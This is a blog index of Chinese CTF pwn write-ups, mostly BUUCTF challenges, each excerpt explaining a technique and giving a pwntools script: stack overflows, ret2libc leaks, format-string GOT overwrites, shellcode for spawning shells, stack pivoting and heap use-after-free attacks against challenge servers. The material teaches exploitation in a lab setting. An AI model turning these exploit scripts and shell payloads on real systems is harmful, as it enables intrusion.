![](https://img-blog.csdnimg.cn/2021040108075226.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
pwn题
题目
半岛铁盒@
打油!干饭人!
展开
-
Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护利用思路首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为1,之后去执行flag函数,if要满足的条件之前都设置好了,可以直接读出flagfrom pwn import *r = remote("node3.buuoj.cn", 26602)win_function1 = 0x080485CBwin_function2 = 0x080485D8fla.原创 2021-08-19 21:20:36 · 292 阅读 · 0 评论 -
BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路我们没有system和’/bin/sh’地址。也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和’/bin/sh’地址。再返回main进行循环调用,第二次就可以直接控制返回到system。from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn',26441)elf=ELF('./level4')write_plt=elf.plt['write']read_got=elf.g..原创 2021-08-18 12:55:55 · 358 阅读 · 0 评论 -
[Black Watch 入群题]PWN 栈劫持的利用
32位程序,开启了nx保护没有system函数和‘/bin/sh’的字符串,这边需要我们自己去想办法构造system(‘/bin/sh’)思路第一次输入的参数s,那边我们可以写入很长的数据,我们可以将我们的rop链布置在那里, 接着执行第二次输入,利用站劫持,把程序的执行流程劫持到第一次输入的位置就可以了站劫持利用做栈劫持主要用到的是一个leave;ret指令,一般程序执行完成后都会调用leave;ret来还原现场payload1=‘a’*0x18+p32(s-4)+p32(leave_r原创 2021-08-17 15:00:09 · 337 阅读 · 1 评论 -
Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护400620from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'*(0x88)+p64(flag_addr)r.sendline(payload)r.interactive()这道题需要注意的一点是没有返回这是其栈结构所以这道题直接溢出0x88即可...原创 2021-08-15 22:40:38 · 155 阅读 · 0 评论 -
Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化没有开启nx保护,可利用写入shellcode来获取shell一开始给我们输出了参数s的地址strcmp函数:两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’\0’为止也就是我们应该输入 ‘crashme\x00’ 可以绕过这个if检查,之后执行vuln函数dest大小根本不是0x32,要动态调试看大小其实是 0x16利用思路:1.往s参数里写入shellcode,执行vuln函数后让dest造成溢出原创 2021-08-13 17:19:25 · 893 阅读 · 2 评论 -
BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget
64位,开了nx保护运行了一下程序buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址然后造成溢出,将返回地址覆盖为system(‘/bin/sh’)from pwn import * from LibcSearcher import *context.log_level='debug'p=remote('n原创 2021-08-12 00:16:44 · 621 阅读 · 0 评论 -
BUUCTF(pwn) ciscn_2019_s_3 [ 栈溢出SROP攻击]
64位,开启了NX保护main函数调用了vuln原创 2021-08-10 00:32:28 · 357 阅读 · 0 评论 -
BUUCTF(pwn)jarvisoj_fm --格式化字符串漏洞
简单的格式化字符串漏洞题目32位,开启了canary和nx保护知道以上条件就可以计算偏移了得到偏移为11from pwn import *r=remote('node3.buuoj.cn',25582)x_addr=0x804A02Cpayload=p32(x_addr)+"%11$n"r.sendline(payload)r.interactive()payload=p32(x_addr)+"%11$n"因为要使x的值为4,写入的数据由%11$n前面的参数的长度决定,原创 2021-08-05 18:46:31 · 384 阅读 · 0 评论 -
BUUCTF-pwn2_sctf_2016(整数溢出+泄露libc)
32位开启了nx保护没有看到system和‘/bin/sh’,开启了NX保护,是泄露libc类型的题目main函数就调用了一个vuln函数7行的输入函数不是get,是程序自定义的函数get_na2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)一开始输入负数,绕过长度限制,造成溢出利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址溢出覆盖返回地址去执行sy原创 2021-08-02 20:13:57 · 500 阅读 · 1 评论 -
BUUCTF(pwn) babyheap_0ctf_2017
入门堆题main菜单addeditedit,我们写入数据的长度是我们可以自己控制的,我们可以利用这点溢出到另一个堆块上free,普通的释放chunk的过程show利用过程:堆溢出,可以通过重叠堆来泄露libc分为两步:第一次先泄露 libc 地址,第二次利用fastbin attack,修改malloc_hook为one_gadgetfrom pwn import *context.log_level = 'debug'p=remote("node4.buuoj.c原创 2021-07-30 19:24:17 · 232 阅读 · 0 评论 -
强网杯2021 [强网先锋]orw
orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag因为不是FULL RELRO所以就考虑改got表为shellcode地址就行了漏洞点就在于以上两点令index下标为负数时可以覆盖到其他函数的got表地址这里选择覆盖掉exit的got表中的地址,因为沙盒的存在,所以需要构造orw的shellcode并覆盖exit的got地址为shellcode覆盖堆块的申请位置选择在这里计算一下偏移量起始点 0x原创 2021-06-29 16:03:44 · 797 阅读 · 1 评论 -
BUUCTF (pwn) bjdctf_2020_YDSneedGrirlfriend(UAF)
这道题知识点,题型与 actf_2019_babyheap这道题很相似,就不写那么详细了,又不了解的可以去看看菜单后门EXPfrom pwn import *p=remote('node3.buuoj.cn',29716)#p=process('./bjdctf_2020_YDSneedGrirlfriend')elf=ELF('./bjdctf_2020_YDSneedGrirlfriend')def add(size,name): p.sendlineaft原创 2021-06-19 23:35:52 · 204 阅读 · 0 评论 -
BUUCTF-----actf_2019_babyheap (UAF)
这道题和之前做的 hitcontraining_uaf 这道题类似64位程序,没开PIE并且这里发现了 bin/sh 字符串原创 2021-06-15 15:27:14 · 6206 阅读 · 4 评论 -
[BUUCTF]PWN——ciscn_2019_es_2(栈劫持)
32位程序,开启了nx保护有个后门函数,但是需要把 system里面的 “echo flag” 修改为 bin/sh 才可以利用这里可以得到 system 的地址;vul函数中存在栈溢出,但只能溢出8个字节,只能盖到ebp和ret。vul函数中有两次read和printf第一次可以用来泄露ebp,得到栈地址,然后进行栈迁移。然后利用main函数返回时将控制流转到system。思路通过第一次输入输出来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入原创 2021-06-14 13:19:14 · 791 阅读 · 0 评论 -
[BUUCTF-pwn]——pwnable_orw
记一次ORW的题目orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag32位程序,开启了canary调用orw_seccomp函数后,输入shellcode后执行shellcode 写入sys_call的shellcode,发现不能执行orw_seccomp函数seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的sandbox原创 2021-06-12 22:14:16 · 1295 阅读 · 3 评论 -
[BUUCTF]pwn - wustctf2020_easyfast (Use After Free)
打开菜单,了解到相应的功能后,改一下名字这个漏洞大致利用方式是这样的;利用思路通过double free修改chunk0的fd指针,让申请到的chunk能够覆盖到0x602090,修改1为0,最后直接调用backdoor来getshellfrom pwn import *#p=process('./wustctf2020_easyfast')p=remote("node3.buuoj.cn",25044)context.log_level="debug"def add(si原创 2021-06-10 16:01:50 · 404 阅读 · 0 评论 -
BUUCTF-pwn-hitcontraining_uaf(UAF)
这道题可以用来当做堆的入门题来做开了NX这是堆的菜单;原创 2021-06-05 14:03:48 · 311 阅读 · 0 评论 -
ISCC2021-[pwn]game
from pwn import *from ctypes import *p = remote('39.96.88.40','7040')context.log_level="debug"payload = b'a' * (0x30-0x8) + p32(0)p.sendlineafter("Your name is :",payload)rand = ['55 ','15 ','82 ','1 ','98 ','68 ','67 ','15 ','86 ','3 ']fo...原创 2021-05-26 22:45:16 · 656 阅读 · 2 评论 -
PWN-ISCC-M78
from pwn import*io = remote('39.96.88.40',7010)context.log_level="debug"payload='a'*(0x18+4)+p32(0x8049202)+'a'*0xe6io.sendlineafter("Your choice?",'1')io.sendlineafter("Please choose a building","aa")io.recv()io.sendlineafter("Please inp...原创 2021-05-26 12:00:01 · 565 阅读 · 1 评论 -
BUUCTF--pwn picoctf_2018_buffer overflow 0
来查看信号函数代表的含义:11是 SIGSEGV,表示对存储的无效访问点进去sigsegv_handler同时将flag的值赋予了stderr现在知道那个信号函数的作用是:当发生 对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出再往下有个 vuln函数有两种解题方式方法一:经过前面的分析,我们知道了当发生了对 内存存储无效的访问会将flag打印出来首先ssh链接,输入密码后方法二:将ret覆盖成put,然后输出flag地址上的值,from pwn im..原创 2021-04-30 18:29:36 · 401 阅读 · 0 评论 -
BUUCTF(pwn)[BSidesCF 2019]Runit
from pwn import *p=remote("node3.buuoj.cn",25145)context.arch="i386"shellcode=asm(shellcraft.sh())p.sendline(shellcode)p.interactive()原创 2021-04-12 19:01:07 · 225 阅读 · 0 评论 -
BUUCTF(pwn)picoctf_2018_are you root
strdup: malloc一个参数字符串大小的内存,并且将字符串拷贝进去.思路利用login, 将我们想要的数据排列好, *(v6 + 2), 其实就是v6[2], 每四个字节就是一个数据 所以字符只需要是’aaaaaaaa’ + p64(0x5), 注意大小应该是0x10, 这样最好,可以百分百申请回来 将其释放掉重新申请回来这样就不是 * v6指向它了而是v6指向它了from pwn import *p = remote('node3.buuoj.cn',27037)p...原创 2021-04-11 15:07:14 · 165 阅读 · 0 评论 -
BUUCTF(pwn)[BJDCTF 2nd]secret
感觉这道题技巧性比较强有两次输入 一次名字,一次 密码先进 46A3AF这里有一次输入 name看一下 0x40136D的汇编这里每次有一次 调用 0x46A329,并且 有一次cmp比较; 那么进入 0x46a329进去看看0x401301发现 printf_plt 的位置 与 system的位置相差0x10即16我们可以一开始输入name的时候输入bin/sh; 把0x46d090覆盖为printf_plt,经过16次输入比较, 前15次输入对的,最后一次输入错原创 2021-04-10 15:44:58 · 164 阅读 · 0 评论 -
BUUCTF(pwn)x_ctf_b0verfl0w [ret2libc类型]
是ret2libc类型from pwn import *from LibcSearcher import *p = remote('node3.buuoj.cn',25524)elf = ELF('./b0verfl0w')puts_plt=elf.plt['puts']puts_got=elf.got['puts']main=0x804850epayload='a'*(0x20+4)+p32(puts_plt) + p32(main) +p32(puts_got)p.s.原创 2021-04-06 20:33:54 · 413 阅读 · 0 评论 -
BUUCTF(pwn)starctf_2019_babyshell
这里要求我们需要输入一个SHellcode然后进入 一个 if 比较;只需要通过\x00绕过检查, 同时执行我们输入的shellcode\x00B后面加上一个字符, 对应一个汇编语句。所以我们可以通过\x00B\x22、\x00B\x00等等来绕过那个检查from pwn import *context.arch = "amd64"p = remote("node3.buuoj.cn",27993)payload = '\x00B3' + asm(shellcraft.sh())p...原创 2021-04-06 19:51:42 · 352 阅读 · 0 评论 -
BUUCTF(pwn)mrctf2020_easyoverflow
简单的溢出覆盖from pwn import *r=remote("node3.buuoj.cn",25789)payload='a'*0x30+"n0t_r3@11y_f1@g"r.sendline(payload)r.interactive()原创 2021-04-06 14:12:43 · 560 阅读 · 0 评论 -
BUUCTF(pwn) picoctf_2018_leak_me
这题难度不大,分析好流程就可以;name,与密码 是紧挨着的,相差0x100,即256我们可以利用puts() 进行溢出泄漏密码;因为 puts() 函数输出遇到\x00停止;from pwn import *p = remote(“node3.buuoj.cn”,27388)p.sendline(‘a’)p.recv()p.sendline(‘a_reAllY_s3cuRe_p4s$word_f85406’)p.interactive()...原创 2021-04-06 13:28:21 · 330 阅读 · 0 评论 -
BUUCTF(pwn)hgame2018_flag_server(简单的栈溢出)
这一题主要就分析清楚程序的执行流程就可以做出来了;v10=1就可以得出答案;由于v5=-1;输入长度可以很大,造成溢出,点进去s1溢出覆盖到v10 满足条件from pwn import*p = remote("node3.buuoj.cn",26244)p.sendlineafter("your username length: ",'-1')payload='a'*0x40+p32(1)p.sendlineafter("whats your username?",payload.原创 2021-04-05 15:17:54 · 319 阅读 · 0 评论 -
BUUCTF(pwn)inndy_echo(32位格式化字符串修改got表)
这道题为我们提供了 system, 和 循环 过程, 为我们简化了很多步骤from pwn import*p=remote('node3.buuoj.cn',25331)elf=ELF('./echo')printf_got=elf.got['printf']sys=0x8048400payload=fmtstr_payload(7,{printf_got:sys})p.sendline(payload)p.sendline('bin/sh')p.interactive()对...原创 2021-04-05 08:58:54 · 406 阅读 · 0 评论 -
BUUCTF(pwn)wdb_2018_3rd_soEasy[栈劫持ret2shellcode]
没开任何保护,是ret2shellcode题型from pwn import*context.arch="i386"p=remote("node3.buuoj.cn",25766)p.recvuntil("Hei,give you a gift->")buf_addr=int(p.recv(10),16)shellcode=asm(shellcraft.sh())payload=shellcode.ljust(0x48+4,'\0')+p32(buf_addr)p.sendline.原创 2021-04-04 10:28:07 · 368 阅读 · 0 评论 -
BUUCTF(pwn)护网杯_2018_gettingstart
from pwn import *p=remote("node3.buuoj.cn",26480)payload='a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)p.sendline(payload)p.interactive()第一步:计算偏移量 为 0x18第二步 把0.1 转化成在内存中表示的形式原创 2021-04-04 08:25:03 · 161 阅读 · 0 评论 -
BUUCTF(pwn)bjdctf_2020_babystack2
这是一道整形溢出的题目from pwn import *p = remote("node3.buuoj.cn",28786)flag=0x400726p.sendlineafter("[+]Please input the length of your name:\n",'-1')p.recv()payload='a'*(0x10+8)+p64(flag)p.sendline(payload)p.interactive()有疑问的欢迎留言...原创 2021-04-04 07:38:17 · 197 阅读 · 0 评论 -
BUUCTF(PWN)suctf_2018_stack
from pwn import *p = remote('node3.buuoj.cn',29039)ret_addr = 0x0400677 payload = 'a' * (0x20 + 8) + p64(ret_addr)p.send(payload)p.interactive()不是676的原因是 这道题检查的其实是栈平衡的问题,因为是Ubuntu18,需要栈对齐...原创 2021-04-03 23:42:14 · 275 阅读 · 0 评论 -
BUUCTF(pwn)wdb_2018_2nd_easyfmt
32位格式化字符串修改got表做题思路找到格式化字符的偏移量打印print@got的地址,泄露libc,计算system的地址将print@got修改成system,传入参数‘/bin/sh\0’from pwn import*from LibcSearcher import*p=remote('node3.buuoj.cn',29087)elf=ELF('./1')printf_got=elf.got['printf']payload1=p32(printf_got)+"%6$s"原创 2021-04-03 12:15:25 · 476 阅读 · 2 评论 -
BUUCTF(pwn)jarvisoj_level3
EXPfrom pwn import*from LibcSearcher import*r=remote('node3.buuoj.cn',25564)main=0x8048484elf=ELF('./2')write_plt=elf.plt['write']write_got=elf.got['write']payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)r.sendl..原创 2021-04-02 09:40:47 · 286 阅读 · 0 评论 -
BUUCTF(pwn)jarvisoj_level3_x64
这道题是一道简单的rop类型的题目,跟之前做的题目有一些差异:( 这是64位的需要一些额外的操作 )64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。这里我们使用 write 函数 来泄密 libc地址ssize_t write(int fd,const void*buf,size_t count); 参数说明:f.原创 2021-04-01 20:25:49 · 433 阅读 · 0 评论 -
BUUCTF(pwn)x_ctf_b0verfl0w
flag的地址有了execve() – 叫做执行程序函数就像Python中的os.system(cmd)这个函数,我们可以用这个函数来执行我们的shell脚本,单独的shell命令,或者是调用其他的程序,我们的execve()这个函数就和Python中的os.system函数类似,可以调用其他程序的执行,执行shell命令,,调用脚本等等功能。from pwn import*flag=0x401157payload='a'*(0x110+8)+p64(flag)p=remote('..原创 2021-04-01 08:49:20 · 370 阅读 · 0 评论 -
BUUCTF(pwn)bjdctf_2020_babyrop
from pwn import*from LibcSearcher import*p=remote('node3.buuoj.cn',25519)elf=ELF('./2')main=0x4006adrdi=0x400733puts_got=elf.got['puts']puts_plt=elf.plt['puts']payload='a'*(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)p.sendl...原创 2021-03-31 23:16:05 · 428 阅读 · 2 评论 -
BUUCTF(pwn)mrctf2020_easy_equation
这道题是个相对简单的格式化字符串的题目, 但是做题过程中需要自己的一些debug调试查看;计算偏移量初看偏移量是8;构建初始payload,EXP;payload="aa%8$n"+p64(judge)from pwn import*context.log_level='debug'p=remote('node3.buuoj.cn',27636)judge=0x60105cpayload="aa%8$n"+p64(judge)p.sendline(payload)p.inter原创 2021-03-30 22:52:49 · 617 阅读 · 1 评论 -
BUUCTF(pwn)铁人三项(第五赛区)_2018_rop
最基本的 rop;from pwn import*from LibcSearcher import*r=remote('node3.buuoj.cn',25292)elf=ELF('./2')write_got=elf.got['write']write_plt=elf.plt['write']main=0x80484c6payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)r.sendl原创 2021-03-30 20:15:01 · 351 阅读 · 0 评论